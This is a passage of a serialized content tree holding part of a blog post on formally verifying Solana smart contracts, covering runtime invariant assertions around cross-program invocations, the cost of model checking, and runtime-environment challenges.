Ok(())\n}\n",[26693],{"type":23,"tag":38,"props":26694,"children":26695},{"__ignoreMap":7},[26696,26711,26727,26742,26783,26790,26797,26804,26821,26837,26858,26865,26872,26888,26908,26936,26943,26950,26957,26965,27018,27044,27051,27080,27104,27139,27146,27157],{"type":23,"tag":141,"props":26697,"children":26698},{"class":143,"line":144},[26699,26703,26707],{"type":23,"tag":141,"props":26700,"children":26701},{"style":154},[26702],{"type":29,"value":21509},{"type":23,"tag":141,"props":26704,"children":26705},{"style":725},[26706],{"type":29,"value":21514},{"type":23,"tag":141,"props":26708,"children":26709},{"style":154},[26710],{"type":29,"value":18930},{"type":23,"tag":141,"props":26712,"children":26713},{"class":143,"line":180},[26714,26718,26723],{"type":23,"tag":141,"props":26715,"children":26716},{"style":449},[26717],{"type":29,"value":12368},{"type":23,"tag":141,"props":26719,"children":26720},{"style":725},[26721],{"type":29,"value":26722}," MyCtx",{"type":23,"tag":141,"props":26724,"children":26725},{"style":154},[26726],{"type":29,"value":1951},{"type":23,"tag":141,"props":26728,"children":26729},{"class":143,"line":205},[26730,26734,26738],{"type":23,"tag":141,"props":26731,"children":26732},{"style":154},[26733],{"type":29,"value":21801},{"type":23,"tag":141,"props":26735,"children":26736},{"style":449},[26737],{"type":29,"value":2389},{"type":23,"tag":141,"props":26739,"children":26740},{"style":154},[26741],{"type":29,"value":18930},{"type":23,"tag":141,"props":26743,"children":26744},{"class":143,"line":218},[26745,26749,26754,26758,26762,26766,26770,26774,26779],{"type":23,"tag":141,"props":26746,"children":26747},{"style":449},[26748],{"type":29,"value":19515},{"type":23,"tag":141,"props":26750,"children":26751},{"style":750},[26752],{"type":29,"value":26753}," my_account",{"type":23,"tag":141,"props":26755,"children":26756},{"style":160},[26757],{"type":29,"value":114},{"type":23,"tag":141,"props":26759,"children":26760},{"style":725},[26761],{"type":29,"value":21766},{"type":23,"tag":141,"props":26763,"children":26764},{"style":154},[26765],{"type":29,"value":21594},{"type":23,"tag":141,"props":26767,"children":26768},{"style":725},[26769],{"type":29,"value":21599},{"type":23,"tag":141,"props":26771,"children":26772},{"style":154},[26773],{"type":29,"value":480},{"type":23,"tag":141,"props":26775,"children":26776},{"style":725},[26777],{"type":29,"value":26778},"Acc",{"type":23,"tag":141,"props":26780,"children":26781},{"style":154},[26782],{"type":29,"value":4666},{"type":23,"tag":141,"props":26784,"children":26785},{"class":143,"line":227},[26786],{"type":23,"tag":141,"props":26787,"children":26788},{"style":154},[26789],{"type":29,"value":2573},{"type":23,"tag":141,"props":26791,"children":26792},{"class":143,"line":241},[26793],{"type":23,"tag":141,"props":26794,"children":26795},{"emptyLinePlaceholder":15},[26796],{"type":29,"value":719},{"type":23,"tag":141,"props":26798,"children":26799},{"class":143,"line":262},[26800],{"type":23,"tag":141,"props":26801,"children":26802},{"style":154},[26803],{"type":29,"value":19442},{"type":23,"tag":141,"props":26805,"children":26806},{"class":143,"line":271},[26807,26812,26816],{"type":23,"tag":141,"props":26808,"children":26809},{"style":154},[26810],{"type":29,"value":26811},"#[invariant(bad ",{"type":23,"tag":141,"props":26813,"children":26814},{"style":160},[26815],{"type":29,"value":7251},{"type":23,"tag":141,"props":26817,"children":26818},{"style":154},[26819],{"type":29,"value":26820}," false)]\n",{"type":23,"tag":141,"props":26822,"children":26823},{"class":143,"line":293},[26824,26828,26833],{"type":23,"tag":141,"props":26825,"children":26826},{"style":449},[26827],{"type":29,"value":8079},{"type":23,"tag":141,"props":26829,"children":26830},{"style":725},[26831],{"type":29,"value":26832}," Acc",{"type":23,"tag":141,"props":26834,"children":26835},{"style":154},[26836],{"type":29,"value":1951},{"type":23,"tag":141,"props":26838,"children":26839},{"class":143,"line":801},[26840,26844,26849,26853],{"type":23,"tag":141,"props":26841,"children":26842},{"style":449},[26843],{"type":29,"value":19515},{"type":23,"tag":141,"props":26845,"children":26846},{"style":750},[26847],{"type":29,"value":26848}," bad",{"type":23,"tag":141,"props":26850,"children":26851},{"style":160},[26852],{"type":29,"value":114},{"type":23,"tag":141,"props":26854,"children":26855},{"style":725},[26856],{"type":29,"value":26857}," bool\n",{"type":23,"tag":141,"props":26859,"children":26860},{"class":143,"line":810},[26861],{"type":23,"tag":141,"props":26862,"children":26863},{"style":154},[26864],{"type":29,"value":2573},{"type":23,"tag":141,"props":26866,"children":26867},{"class":143,"line":824},[26868],{"type":23,"tag":141,"props":26869,"children":26870},{"emptyLinePlaceholder":15},[26871],{"type":29,"value":719},{"type":23,"tag":141,"props":26873,"children":26874},{"class":143,"line":839},[26875,26880,26884],{"type":23,"tag":141,"props":26876,"children":26877},{"style":449},[26878],{"type":29,"value":26879},"impl",{"type":23,"tag":141,"props":26881,"children":26882},{"style":725},[26883],{"type":29,"value":26832},{"type":23,"tag":141,"props":26885,"children":26886},{"style":154},[26887],{"type":29,"value":1951},{"type":23,"tag":141,"props":26889,"children":26890},{"class":143,"line":848},[26891,26895,26899,26904],{"type":23,"tag":141,"props":26892,"children":26893},{"style":449},[26894],{"type":29,"value":19515},{"type":23,"tag":141,"props":26896,"children":26897},{"style":449},[26898],{"type":29,"value":12373},{"type":23,"tag":141,"props":26900,"children":26901},{"style":184},[26902],{"type":29,"value":26903}," put_into_bad_state",{"type":23,"tag":141,"props":26905,"children":26906},{"style":154},[26907],{"type":29,"value":14412},{"type":23,"tag":141,"props":26909,"children":26910},{"class":143,"line":2304},[26911,26915,26919,26924,26928,26932],{"type":23,"tag":141,"props":26912,"children":26913},{"style":449},[26914],{"type":29,"value":26044},{"type":23,"tag":141,"props":26916,"children":26917},{"style":160},[26918],{"type":29,"value":322},{"type":23,"tag":141,"props":26920,"children":26921},{"style":154},[26922],{"type":29,"value":26923},"bad ",{"type":23,"tag":141,"props":26925,"children":26926},{"style":160},[26927],{"type":29,"value":1377},{"type":23,"tag":141,"props":26929,"children":26930},{"style":449},[26931],{"type":29,"value":11148},{"type":23,"tag":141,"props":26933,"children":26934},{"style":154},[26935],{"type":29,"value":1684},{"type":23,"tag":141,"props":26937,"children":26938},{"class":143,"line":2313},[26939],{"type":23,"tag":141,"props":26940,"children":26941},{"style":154},[26942],{"type":29,"value":299},{"type":23,"tag":141,"props":26944,"children":26945},{"class":143,"line":2335},[26946],{"type":23,"tag":141,"props":26947,"children":26948},{"style":154},[26949],{"type":29,"value":2573},{"type":23,"tag":141,"props":26951,"children":26952},{"class":143,"line":2343},[26953],{"type":23,"tag":141,"props":26954,"children":26955},{"emptyLinePlaceholder":15},[26956],{"type":29,"value":719},{"type":23,"tag":141,"props":26958,"children":26959},{"class":143,"line":2352},[26960],{"type":23,"tag":141,"props":26961,"children":26962},{"style":443},[26963],{"type":29,"value":26964},"// Instruction handler:\n",{"type":23,"tag":141,"props":26966,"children":26967},{"class":143,"line":2421},[26968,26972,26977,26981,26985,26989,26993,26997,27002,27006,27010,27014],{"type":23,"tag":141,"props":26969,"children":26970},{"style":449},[26971],{"type":29,"value":18938},{"type":23,"tag":141,"props":26973,"children":26974},{"style":184},[26975],{"type":29,"value":26976}," hard_to_verify",{"type":23,"tag":141,"props":26978,"children":26979},{"style":154},[26980],{"type":29,"value":192},{"type":23,"tag":141,"props":26982,"children":26983},{"style":750},[26984],{"type":29,"value":18952},{"type":23,"tag":141,"props":26986,"children":26987},{"style":160},[26988],{"type":29,"value":114},{"type":23,"tag":141,"props":26990,"children":26991},{"style":725},[26992],{"type":29,"value":18961},{"type":23,"tag":141,"props":26994,"children":26995},{"style":154},[26996],{"type":29,"value":4480},{"type":23,"tag":141,"props":26998,"children":26999},{"style":725},[27000],{"type":29,"value":27001},"MyCtx",{"type":23,"tag":141,"props":27003,"children":27004},{"style":154},[27005],{"type":29,"value":19118},{"type":23,"tag":141,"props":27007,"children":27008},{"style":160},[27009],{"type":29,"value":12435},{"type":23,"tag":141,"props":27011,"children":27012},{"style":725},[27013],{"type":29,"value":12440},{"type":23,"tag":141,"props":27015,"children":27016},{"style":154},[27017],{"type":29,"value":19003},{"type":23,"tag":141,"props":27019,"children":27020},{"class":143,"line":2429},[27021,27026,27030,27034,27039],{"type":23,"tag":141,"props":27022,"children":27023},{"style":184},[27024],{"type":29,"value":27025}," invoke_signed",{"type":23,"tag":141,"props":27027,"children":27028},{"style":154},[27029],{"type":29,"value":192},{"type":23,"tag":141,"props":27031,"children":27032},{"style":160},[27033],{"type":29,"value":8269},{"type":23,"tag":141,"props":27035,"children":27036},{"style":154},[27037],{"type":29,"value":27038},"); ",{"type":23,"tag":141,"props":27040,"children":27041},{"style":443},[27042],{"type":29,"value":27043},"// Cross-program invocation\n",{"type":23,"tag":141,"props":27045,"children":27046},{"class":143,"line":2459},[27047],{"type":23,"tag":141,"props":27048,"children":27049},{"emptyLinePlaceholder":15},[27050],{"type":29,"value":719},{"type":23,"tag":141,"props":27052,"children":27053},{"class":143,"line":2467},[27054,27058,27063,27067,27071,27075],{"type":23,"tag":141,"props":27055,"children":27056},{"style":449},[27057],{"type":29,"value":1659},{"type":23,"tag":141,"props":27059,"children":27060},{"style":750},[27061],{"type":29,"value":27062}," invoke_res",{"type":23,"tag":141,"props":27064,"children":27065},{"style":160},[27066],{"type":29,"value":1674},{"type":23,"tag":141,"props":27068,"children":27069},{"style":160},[27070],{"type":29,"value":23983},{"type":23,"tag":141,"props":27072,"children":27073},{"style":154},[27074],{"type":29,"value":15903},{"type":23,"tag":141,"props":27076,"children":27077},{"style":443},[27078],{"type":29,"value":27079},"// fetch result of invocation\n",{"type":23,"tag":141,"props":27081,"children":27082},{"class":143,"line":2499},[27083,27087,27091,27095,27100],{"type":23,"tag":141,"props":27084,"children":27085},{"style":148},[27086],{"type":29,"value":151},{"type":23,"tag":141,"props":27088,"children":27089},{"style":750},[27090],{"type":29,"value":27062},{"type":23,"tag":141,"props":27092,"children":27093},{"style":160},[27094],{"type":29,"value":1942},{"type":23,"tag":141,"props":27096,"children":27097},{"style":472},[27098],{"type":29,"value":27099}," 5",{"type":23,"tag":141,"props":27101,"children":27102},{"style":154},[27103],{"type":29,"value":1951},{"type":23,"tag":141,"props":27105,"children":27106},{"class":143,"line":2507},[27107,27111,27115,27120,27124,27129,27134],{"type":23,"tag":141,"props":27108,"children":27109},{"style":750},[27110],{"type":29,"value":24870},{"type":23,"tag":141,"props":27112,"children":27113},{"style":160},[27114],{"type":29,"value":322},{"type":23,"tag":141,"props":27116,"children":27117},{"style":154},[27118],{"type":29,"value":27119},"my_account",{"type":23,"tag":141,"props":27121,"children":27122},{"style":160},[27123],{"type":29,"value":322},{"type":23,"tag":141,"props":27125,"children":27126},{"style":184},[27127],{"type":29,"value":27128},"put_into_bad_state",{"type":23,"tag":141,"props":27130,"children":27131},{"style":154},[27132],{"type":29,"value":27133},"(); ",{"type":23,"tag":141,"props":27135,"children":27136},{"style":443},[27137],{"type":29,"value":27138},"// corrupt our account\n",{"type":23,"tag":141,"props":27140,"children":27141},{"class":143,"line":2567},[27142],{"type":23,"tag":141,"props":27143,"children":27144},{"style":154},[27145],{"type":29,"value":299},{"type":23,"tag":141,"props":27147,"children":27148},{"class":143,"line":7724},[27149,27153],{"type":23,"tag":141,"props":27150,"children":27151},{"style":725},[27152],{"type":29,"value":13009},{"type":23,"tag":141,"props":27154,"children":27155},{"style":154},[27156],{"type":29,"value":13014},{"type":23,"tag":141,"props":27158,"children":27159},{"class":143,"line":7742},[27160],{"type":23,"tag":141,"props":27161,"children":27162},{"style":154},[27163],{"type":29,"value":2573},{"type":23,"tag":32,"props":27165,"children":27166},{},[27167,27169,27174],{"type":29,"value":27168},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":38,"props":27170,"children":27172},{"className":27171},[],[27173],{"type":29,"value":27119},{"type":29,"value":27175},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":32,"props":27177,"children":27178},{},[27179],{"type":29,"value":27180},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":32,"props":27182,"children":27183},{},[27184,27186,27191],{"type":29,"value":27185},"However, we can ",{"type":23,"tag":47,"props":27187,"children":27188},{},[27189],{"type":29,"value":27190},"augment",{"type":29,"value":27192}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":32,"props":27194,"children":27195},{},[27196],{"type":29,"value":27197},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":131,"props":27199,"children":27201},{"code":27200,"language":1638,"meta":7,"className":1639,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[27202],{"type":23,"tag":38,"props":27203,"children":27204},{"__ignoreMap":7},[27205,27213,27264,27287,27294,27321,27344,27375,27382,27389,27397,27432,27439,27450],{"type":23,"tag":141,"props":27206,"children":27207},{"class":143,"line":144},[27208],{"type":23,"tag":141,"props":27209,"children":27210},{"style":160},[27211],{"type":29,"value":27212},"...\n",{"type":23,"tag":141,"props":27214,"children":27215},{"class":143,"line":180},[27216,27220,27224,27228,27232,27236,27240,27244,27248,27252,27256,27260],{"type":23,"tag":141,"props":27217,"children":27218},{"style":449},[27219],{"type":29,"value":18938},{"type":23,"tag":141,"props":27221,"children":27222},{"style":184},[27223],{"type":29,"value":26976},{"type":23,"tag":141,"props":27225,"children":27226},{"style":154},[27227],{"type":29,"value":192},{"type":23,"tag":141,"props":27229,"children":27230},{"style":750},[27231],{"type":29,"value":18952},{"type":23,"tag":141,"props":27233,"children":27234},{"style":160},[27235],{"type":29,"value":114},{"type":23,"tag":141,"props":27237,"children":27238},{"style":725},[27239],{"type":29,"value":18961},{"type":23,"tag":141,"props":27241,"children":27242},{"style":154},[27243],{"type":29,"value":4480},{"type":23,"tag":141,"props":27245,"children":27246},{"style":725},[27247],{"type":29,"value":27001},{"type":23,"tag":141,"props":27249,"children":27250},{"style":154},[27251],{"type":29,"value":19118},{"type":23,"tag":141,"props":27253,"children":27254},{"style":160},[27255],{"type":29,"value":12435},{"type":23,"tag":141,"props":27257,"children":27258},{"style":725},[27259],{"type":29,"value":12440},{"type":23,"tag":141,"props":27261,"children":27262},{"style":154},[27263],{"type":29,"value":19003},{"type":23,"tag":141,"props":27265,"children":27266},{"class":143,"line":205},[27267,27271,27275,27279,27283],{"type":23,"tag":141,"props":27268,"children":27269},{"style":184},[27270],{"type":29,"value":27025},{"type":23,"tag":141,"props":27272,"children":27273},{"style":154},[27274],{"type":29,"value":192},{"type":23,"tag":141,"props":27276,"children":27277},{"style":160},[27278],{"type":29,"value":8269},{"type":23,"tag":141,"props":27280,"children":27281},{"style":154},[27282],{"type":29,"value":27038},{"type":23,"tag":141,"props":27284,"children":27285},{"style":443},[27286],{"type":29,"value":27043},{"type":23,"tag":141,"props":27288,"children":27289},{"class":143,"line":218},[27290],{"type":23,"tag":141,"props":27291,"children":27292},{"emptyLinePlaceholder":15},[27293],{"type":29,"value":719},{"type":23,"tag":141,"props":27295,"children":27296},{"class":143,"line":227},[27297,27301,27305,27309,27313,27317],{"type":23,"tag":141,"props":27298,"children":27299},{"style":449},[27300],{"type":29,"value":1659},{"type":23,"tag":141,"props":27302,"children":27303},{"style":750},[27304],{"type":29,"value":27062},{"type":23,"tag":141,"props":27306,"children":27307},{"style":160},[27308],{"type":29,"value":1674},{"type":23,"tag":141,"props":27310,"children":27311},{"style":160},[27312],{"type":29,"value":23983},{"type":23,"tag":141,"props":27314,"children":27315},{"style":154},[27316],{"type":29,"value":15903},{"type":23,"tag":141,"props":27318,"children":27319},{"style":443},[27320],{"type":29,"value":27079},{"type":23,"tag":141,"props":27322,"children":27323},{"class":143,"line":241},[27324,27328,27332,27336,27340],{"type":23,"tag":141,"props":27325,"children":27326},{"style":148},[27327],{"type":29,"value":151},{"type":23,"tag":141,"props":27329,"children":27330},{"style":750},[27331],{"type":29,"value":27062},{"type":23,"tag":141,"props":27333,"children":27334},{"style":160},[27335],{"type":29,"value":1942},{"type":23,"tag":141,"props":27337,"children":27338},{"style":472},[27339],{"type":29,"value":27099},{"type":23,"tag":141,"props":27341,"children":27342},{"style":154},[27343],{"type":29,"value":1951},{"type":23,"tag":141,"props":27345,"children":27346},{"class":143,"line":262},[27347,27351,27355,27359,27363,27367,27371],{"type":23,"tag":141,"props":27348,"children":27349},{"style":750},[27350],{"type":29,"value":24870},{"type":23,"tag":141,"props":27352,"children":27353},{"style":160},[27354],{"type":29,"value":322},{"type":23,"tag":141,"props":27356,"children":27357},{"style":154},[27358],{"type":29,"value":27119},{"type":23,"tag":141,"props":27360,"children":27361},{"style":160},[27362],{"type":29,"value":322},{"type":23,"tag":141,"props":27364,"children":27365},{"style":184},[27366],{"type":29,"value":27128},{"type":23,"tag":141,"props":27368,"children":27369},{"style":154},[27370],{"type":29,"value":27133},{"type":23,"tag":141,"props":27372,"children":27373},{"style":443},[27374],{"type":29,"value":27138},{"type":23,"tag":141,"props":27376,"children":27377},{"class":143,"line":271},[27378],{"type":23,"tag":141,"props":27379,"children":27380},{"style":154},[27381],{"type":29,"value":299},{"type":23,"tag":141,"props":27383,"children":27384},{"class":143,"line":293},[27385],{"type":23,"tag":141,"props":27386,"children":27387},{"emptyLinePlaceholder":15},[27388],{"type":29,"value":719},{"type":23,"tag":141,"props":27390,"children":27391},{"class":143,"line":801},[27392],{"type":23,"tag":141,"props":27393,"children":27394},{"style":443},[27395],{"type":29,"value":27396}," // Enforce invariants at runtime\n",{"type":23,"tag":141,"props":27398,"children":27399},{"class":143,"line":810},[27400,27404,27408,27412,27416,27420,27424,27428],{"type":23,"tag":141,"props":27401,"children":27402},{"style":184},[27403],{"type":29,"value":17911},{"type":23,"tag":141,"props":27405,"children":27406},{"style":154},[27407],{"type":29,"value":192},{"type":23,"tag":141,"props":27409,"children":27410},{"style":750},[27411],{"type":29,"value":18952},{"type":23,"tag":141,"props":27413,"children":27414},{"style":160},[27415],{"type":29,"value":322},{"type":23,"tag":141,"props":27417,"children":27418},{"style":154},[27419],{"type":29,"value":27119},{"type":23,"tag":141,"props":27421,"children":27422},{"style":160},[27423],{"type":29,"value":322},{"type":23,"tag":141,"props":27425,"children":27426},{"style":184},[27427],{"type":29,"value":20450},{"type":23,"tag":141,"props":27429,"children":27430},{"style":154},[27431],{"type":29,"value":14102},{"type":23,"tag":141,"props":27433,"children":27434},{"class":143,"line":824},[27435],{"type":23,"tag":141,"props":27436,"children":27437},{"emptyLinePlaceholder":15},[27438],{"type":29,"value":719},{"type":23,"tag":141,"props":27440,"children":27441},{"class":143,"line":839},[27442,27446],{"type":23,"tag":141,"props":27443,"children":27444},{"style":725},[27445],{"type":29,"value":13009},{"type":23,"tag":141,"props":27447,"children":27448},{"style":154},[27449],{"type":29,"value":13014},{"type":23,"tag":141,"props":27451,"children":27452},{"class":143,"line":848},[27453],{"type":23,"tag":141,"props":27454,"children":27455},{"style":154},[27456],{"type":29,"value":2573},{"type":23,"tag":32,"props":27458,"children":27459},{},[27460,27462,27467,27469,27474,27476,27481],{"type":29,"value":27461},"Here, we explicitly ",{"type":23,"tag":38,"props":27463,"children":27465},{"className":27464},[],[27466],{"type":29,"value":18655},{"type":29,"value":27468}," that our invariants hold at ",{"type":23,"tag":47,"props":27470,"children":27471},{},[27472],{"type":29,"value":27473},"runtime",{"type":29,"value":27475}," which allows us to be assured that ",{"type":23,"tag":38,"props":27477,"children":27479},{"className":27478},[],[27480],{"type":29,"value":27119},{"type":29,"value":27482}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":32,"props":27484,"children":27485},{},[27486],{"type":29,"value":27487},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":24,"props":27489,"children":27491},{"id":27490},"challenges-of-formal-verification-on-solana",[27492],{"type":29,"value":27493},"Challenges of formal verification on Solana",{"type":23,"tag":8287,"props":27495,"children":27497},{"id":27496},"expensive-computation",[27498],{"type":29,"value":27499},"Expensive computation",{"type":23,"tag":32,"props":27501,"children":27502},{},[27503,27505,27510],{"type":29,"value":27504},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":47,"props":27506,"children":27507},{},[27508],{"type":29,"value":27509},"path explosion",{"type":29,"value":27511},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":32,"props":27513,"children":27514},{},[27515,27517,27522],{"type":29,"value":27516},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":47,"props":27518,"children":27519},{},[27520],{"type":29,"value":27521},"formal verification friendly",{"type":29,"value":27523},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":32,"props":27525,"children":27526},{},[27527,27529,27534,27536,27541],{"type":29,"value":27528},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":38,"props":27530,"children":27532},{"className":27531},[],[27533],{"type":29,"value":20070},{"type":29,"value":27535}," in a ",{"type":23,"tag":38,"props":27537,"children":27539},{"className":27538},[],[27540],{"type":29,"value":15887},{"type":29,"value":27542},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":32,"props":27544,"children":27545},{},[27546,27548,27553,27555,27560,27562,27567,27569,27574,27576,27581,27583,27588],{"type":29,"value":27547},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":38,"props":27549,"children":27551},{"className":27550},[],[27552],{"type":29,"value":15887},{"type":29,"value":27554}," or a 32-byte ",{"type":23,"tag":38,"props":27556,"children":27558},{"className":27557},[],[27559],{"type":29,"value":20070},{"type":29,"value":27561},". Instead, our tool can substitute in ",{"type":23,"tag":47,"props":27563,"children":27564},{},[27565],{"type":29,"value":27566},"cheaper",{"type":29,"value":27568}," types and functions, such as a 4-byte ",{"type":23,"tag":38,"props":27570,"children":27572},{"className":27571},[],[27573],{"type":29,"value":20070},{"type":29,"value":27575}," struct and a fixed-size, array-backed ",{"type":23,"tag":38,"props":27577,"children":27579},{"className":27578},[],[27580],{"type":29,"value":15887},{"type":29,"value":27582}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":47,"props":27584,"children":27585},{},[27586],{"type":29,"value":27587},"much",{"type":29,"value":27589}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":32,"props":27591,"children":27592},{},[27593],{"type":29,"value":27594},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":8287,"props":27596,"children":27598},{"id":27597},"runtime-environment",[27599],{"type":29,"value":27600},"Runtime Environment",{"type":23,"tag":32,"props":27602,"children":27603},{},[27604],{"type":29,"value":27605},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":32,"props":27607,"children":27608},{},[27609],{"type":29,"value":27610},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":32,"props":27612,"children":27613},{},[27614],{"type":29,"value":27615},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":24,"props":27617,"children":27619},{"id":27618},"conclusion",[27620],{"type":29,"value":17618},{"type":23,"tag":32,"props":27622,"children":27623},{},[27624],{"type":29,"value":27625},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":32,"props":27627,"children":27628},{},[27629],{"type":29,"value":27630},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":17463,"props":27632,"children":27633},{},[],{"type":23,"tag":32,"props":27635,"children":27636},{},[27637],{"type":23,"tag":47,"props":27638,"children":27639},{},[27640,27642,27647,27648,27652],{"type":29,"value":27641},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":55,"props":27643,"children":27645},{"href":17546,"rel":27644},[59],[27646],{"type":29,"value":17550},{"type":29,"value":17552},{"type":23,"tag":55,"props":27649,"children":27650},{"href":17555},[27651],{"type":29,"value":17558},{"type":29,"value":322},{"type":23,"tag":1508,"props":27654,"children":27655},{},[27656],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":27658},[27659,27665,27669,27674,27680,27684],{"id":17621,"depth":180,"text":17624,"children":27660},[27661,27662,27663,27664],{"id":17627,"depth":205,"text":17630},{"id":17695,"depth":205,"text":17698},{"id":18575,"depth":205,"text":18578},{"id":18615,"depth":205,"text":18618},{"id":18668,"depth":180,"text":27666,"children":27667},"Specification: How can we describe what we want our program to do?",[27668],{"id":18782,"depth":205,"text":18785},{"id":20142,"depth":180,"text":20145,"children":27670},[27671,27672,27673],{"id":20819,"depth":205,"text":20822},{"id":21103,"depth":205,"text":21106},{"id":21247,"depth":205,"text":21250},{"id":21388,"depth":180,"text":21391,"children":27675},[27676,27677,27678,27679],{"id":21459,"depth":205,"text":21462},{"id":23322,"depth":205,"text":23325},{"id":24124,"depth":205,"text":21451},{"id":26650,"depth":205,"text":21456},{"id":27490,"depth":180,"text":27493,"children":27681},[27682,27683],{"id":27496,"depth":205,"text":27499},{"id":27597,"depth":205,"text":27600},{"id":27618,"depth":180,"text":17618},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":27689,"date":14,"isFeatured":15,"onBlogPage":15,"tags":27690,"body":27691,"_type":1522,"_id":1523,"_source":1524,"_file":1525,"_stem":1526,"_extension":1527},{"src":12,"height":13,"width":13},[17,18],{"type":20,"children":27692,"toc":28891},[27693,27697,27724,27733,27737,27753,27764,27897,27913,27917,27936,27940,27947,27951,27955,27959,27963,27978,27982,27998,28054,28064,28089,28105,28126,28130,28140,28144,28148,28158,28184,28202,28338,28353,28401,28417,28442,28446,28450,28472,28487,28510,28514,28530,28545,28552,28561,28565,28578,28812,28819,28823,28827,28831,28835,28887],{"type":23,"tag":24,"props":27694,"children":27695},{"id":26},[27696],{"type":29,"value":30},{"type":23,"tag":32,"props":27698,"children":27699},{},[27700,27701,27706,27707,27711,27712,27717,27718,27723],{"type":29,"value":36},{"type":23,"tag":38,"props":27702,"children":27704},{"className":27703},[],[27705],{"type":29,"value":43},{"type":29,"value":45},{"type":23,"tag":47,"props":27708,"children":27709},{},[27710],{"type":29,"value":51},{"type":29,"value":53},{"type":23,"tag":55,"props":27713,"children":27715},{"href":57,"rel":27714},[59],[27716],{"type":29,"value":62},{"type":29,"value":64},{"type":23,"tag":55,"props":27719,"children":27721},{"href":67,"rel":27720},[59],[27722],{"type":29,"value":71},{"type":29,"value":73},{"type":23,"tag":32,"props":27725,"children":27726},{},[27727,27728,27732],{"type":29,"value":78},{"type":23,"tag":47,"props":27729,"children":27730},{},[27731],{"type":29,"value":83},{"type":29,"value":85},{"type":23,"tag":24,"props":27734,"children":27735},{"id":88},[27736],{"type":29,"value":91},{"type":23,"tag":32,"props":27738,"children":27739},{},[27740,27741,27746,27747,27752],{"type":29,"value":96},{"type":23,"tag":55,"props":27742,"children":27744},{"href":99,"rel":27743},[59],[27745],{"type":29,"value":103},{"type":29,"value":105},{"type":23,"tag":55,"props":27748,"children":27750},{"href":108,"rel":27749},[59],[27751],{"type":29,"value":112},{"type":29,"value":114},{"type":23,"tag":116,"props":27754,"children":27755},{},[27756,27760],{"type":23,"tag":120,"props":27757,"children":27758},{},[27759],{"type":29,"value":124},{"type":23,"tag":120,"props":27761,"children":27762},{},[27763],{"type":29,"value":129},{"type":23,"tag":131,"props":27765,"children":27766},{"className":133,"code":134,"language":135,"meta":7,"style":7},[27767],{"type":23,"tag":38,"props":27768,"children":27769},{"__ignoreMap":7},[27770,27797,27816,27827,27834,27845,27864,27871,27890],{"type":23,"tag":141,"props":27771,"children":27772},{"class":143,"line":144},[27773,27777,27781,27785,27789,27793],{"type":23,"tag":141,"props":27774,"children":27775},{"style":148},[27776],{"type":29,"value":151},{"type":23,"tag":141,"props":27778,"children":27779},{"style":154},[27780],{"type":29,"value":157},{"type":23,"tag":141,"props":27782,"children":27783},{"style":160},[27784],{"type":29,"value":163},{"type":23,"tag":141,"props":27786,"children":27787},{"style":154},[27788],{"type":29,"value":168},{"type":23,"tag":141,"props":27790,"children":27791},{"style":160},[27792],{"type":29,"value":163},{"type":23,"tag":141,"props":27794,"children":27795},{"style":154},[27796],{"type":29,"value":177},{"type":23,"tag":141,"props":27798,"children":27799},{"class":143,"line":180},[27800,27804,27808,27812],{"type":23,"tag":141,"props":27801,"children":27802},{"style":184},[27803],{"type":29,"value":187},{"type":23,"tag":141,"props":27805,"children":27806},{"style":154},[27807],{"type":29,"value":192},{"type":23,"tag":141,"props":27809,"children":27810},{"style":160},[27811],{"type":29,"value":197},{"type":23,"tag":141,"props":2781